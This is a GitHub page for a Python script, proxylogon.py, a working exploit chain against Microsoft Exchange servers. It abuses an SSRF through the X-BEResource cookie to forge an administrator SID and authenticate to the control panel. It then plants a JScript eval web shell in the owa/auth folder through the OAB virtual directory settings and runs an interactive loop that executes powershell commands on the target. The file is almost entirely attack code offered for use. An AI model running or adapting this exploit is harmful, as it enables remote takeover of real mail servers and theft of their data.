-
Notifications
You must be signed in to change notification settings - Fork 76
/
proxylogon.py
230 lines (204 loc) · 10.1 KB
/
proxylogon.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
import requests
from urllib3.exceptions import InsecureRequestWarning
import random
import string
import sys
import os
import time
import webbrowser
print("""
_____ _
| __ \ | |
| |__) | __ _____ ___ _| | ___ __ _ ___ _ __
| ___/ '__/ _ \ \/ / | | | | / _ \ / _` |/ _ \| '_ \
| | | | | (_) > <| |_| | |___| (_) | (_| | (_) | | | |
|_| |_| \___/_/\_ \__, |______\___/ \__, |\___/|_| |_|
__/ | __/ |
|___/ |___/
Original PoC by https://github.com/testanull
Author: @Haus3c
""")
def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
return ''.join(random.choice(chars) for _ in range(size))
if len(sys.argv) < 2:
print("Usage: python proxylogon.py exchange.local [email protected]")
exit()
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
target = sys.argv[1]
email = sys.argv[2]
payload_name = "shell.aspx"
random_name = id_generator(3) + ".js"
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0"
shell_path = "Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\%s" % payload_name
shell_absolute_path = "\\\\127.0.0.1\\c$\\%s" % shell_path
shell_content = '<script language="JScript" runat="server"> function Page_Load(){eval(Request["data"],"unsafe");}</script>'
legacyDnPatchByte = "68747470733a2f2f696d6775722e636f6d2f612f7a54646e5378670a0a0a0a0a0a0a0a"
autoDiscoverBody = """<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
<Request>
<EMailAddress>%s</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
</Request>
</Autodiscover>
""" % email
print("Target: " + target)
print("=============================")
print("[+] Attempting SSRF")
FQDN = "%s" % target
ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={"Cookie": "X-BEResource=localhost~1942062522",
"User-Agent": user_agent},
verify=False)
if "X-CalculatedBETarget" in ct.headers and "X-FEServer" in ct.headers:
FQDN = ct.headers["X-FEServer"]
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=%s/autodiscover/autodiscover.xml?a=~1942062522;" % FQDN,
"Content-Type": "text/xml",
"User-Agent": user_agent},
data=autoDiscoverBody,
verify=False
)
if ct.status_code != 200:
print("Autodiscover Error!")
exit()
if "<LegacyDN>" not in ct.content:
print("Can not get LegacyDN!")
exit()
legacyDn = ct.content.split("<LegacyDN>")[1].split("</LegacyDN>")[0]
print("DN: " + legacyDn)
mapi_body = legacyDn + "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=Administrator@%s:444/mapi/[email protected]&a=~1942062522;" % FQDN,
"Content-Type": "application/mapi-http",
"X-Requesttype": "Connect",
"X-Clientinfo": "{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}",
"X-Clientapplication": "Outlook/15.0.4815.1002",
"X-Requestid": "{C715155F-2BE8-44E0-BD34-2960067874C8}:2",
"User-Agent": user_agent},
data=mapi_body,
verify=False
)
if ct.status_code != 200 or "act as owner of a UserMailbox" not in ct.content:
print("Mapi Error!")
exit()
sid = ct.content.split("with SID ")[1].split(" and MasterAccountSid")[0]
if sid.rsplit("-",1)[1] == '500':
print("SID: " + sid)
if sid.rsplit("-",1)[1] != '500':
print("Original SID: " + sid)
sid = sid.rsplit("-",1)[0] + '-500'
print("Corrected SID: " + sid)
print("[+] SSRF Successful!")
print("[+] Attempting Arbitrary File Write")
# proxyLogon_request = """<r at="Negotiate" ln="administrator"><s>%s</s></r>""" % sid
proxyLogon_request = """<r at="Negotiate" ln="john"><s>%s</s><s a="7" t="1">S-1-1-0</s><s a="7" t="1">S-1-5-2</s><s a="7" t="1">S-1-5-11</s><s a="7" t="1">S-1-5-15</s><s a="3221225479" t="1">S-1-5-5-0-6948923</s></r>
""" % sid
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=Administrator@%s:444/ecp/proxyLogon.ecp?a=~1942062522;" % FQDN,
"msExchLogonAccount": "%s" % sid,
"msExchLogonMailbox": "%s" % sid,
"msExchTargetMailbox": "%s" % sid,
"Content-Type": "text/xml",
"User-Agent": user_agent
},
data=proxyLogon_request,
verify=False
)
#print(ct.status_code)
if ct.status_code != 241 or not "set-cookie" in ct.headers:
print("[-] Proxylogon Error!")
exit()
sess_id = ct.headers['set-cookie'].split("ASP.NET_SessionId=")[1].split(";")[0]
msExchEcpCanary = ct.headers['set-cookie'].split("msExchEcpCanary=")[1].split(";")[0]
print("SessionID: " + sess_id)
print("CanaryToken: " + msExchEcpCanary)
ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=Admin@%s:444/ecp/about.aspx?a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
FQDN, sess_id, msExchEcpCanary),
"msExchLogonAccount": "%s" % sid,
"msExchLogonMailbox": "%s" % sid,
"msExchTargetMailbox": "%s" % sid,
"User-Agent": user_agent
},
verify=False
)
if ct.status_code != 200:
print("[+] Wrong canary!")
print("[+] Sometime we can skip this ...")
rbacRole = ct.content.split("RBAC roles:</span> <span class='diagTxt'>")[1].split("</span>")[0]
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=Admin@%s:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
"Content-Type": "application/json; charset=utf-8",
"msExchLogonAccount": "%s" % sid,
"msExchLogonMailbox": "%s" % sid,
"msExchTargetMailbox": "%s" % sid,
"User-Agent": user_agent
},
json={"filter": {
"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
"SelectedView": "", "SelectedVDirType": "All"}}, "sort": {}},
verify=False
)
if ct.status_code != 200:
print("[-] GetOAB Error!")
exit()
oabId = ct.content.split('"RawIdentity":"')[1].split('"')[0]
print("OABId: " + oabId)
oab_json = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
"properties": {
"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
"ExternalUrl": "https://ffff/#%s" % shell_content}}}
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=Admin@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
"Content-Type": "application/json; charset=utf-8",
"msExchLogonAccount": "%s" % sid,
"msExchLogonMailbox": "%s" % sid,
"msExchTargetMailbox": "%s" % sid,
"User-Agent": user_agent
},
json=oab_json,
verify=False
)
if ct.status_code != 200:
print("[-] Set external url Error!")
exit()
reset_oab_body = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
"properties": {
"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
"FilePathName": shell_absolute_path}}}
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=Admin@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
"Content-Type": "application/json; charset=utf-8",
"msExchLogonAccount": "%s" % sid,
"msExchLogonMailbox": "%s" % sid,
"msExchTargetMailbox": "%s" % sid,
"User-Agent": user_agent
},
json=reset_oab_body,
verify=False
)
if ct.status_code != 200:
print("[-] Error writing the shell. Status code returned " + ct.status_code)
exit()
print("[+] Success! Entering webshell. Type 'quit' or 'exit' to escape.\n")
cmd = "a"
while not cmd == "exit" or cmd == "quit":
cmd = raw_input("# ")
if cmd == "exit" or cmd == "quit":
exit(0)
command = requests.post("https://%s/owa/auth/%s" % (target, payload_name), headers={
"Host": "%s" % FQDN,
"User-Agent": user_agent,
"Content-Type": "application/x-www-form-urlencoded",
"Upgrade-Insecure-Requests": "1"
},
data= """data=Response.Write(new ActiveXObject("WScript.Shell").exec("powershell.exe -command %s").stdout.readall());""" % cmd,
verify=False
)
if command.status_code != 200:
print("[-] Error running command. Status code %s") % command.status_code
if command.status_code == 500:
print("[-] Maybe AV is killing it?")
exit()
output = command.content.split('Name :')[0]
print(output)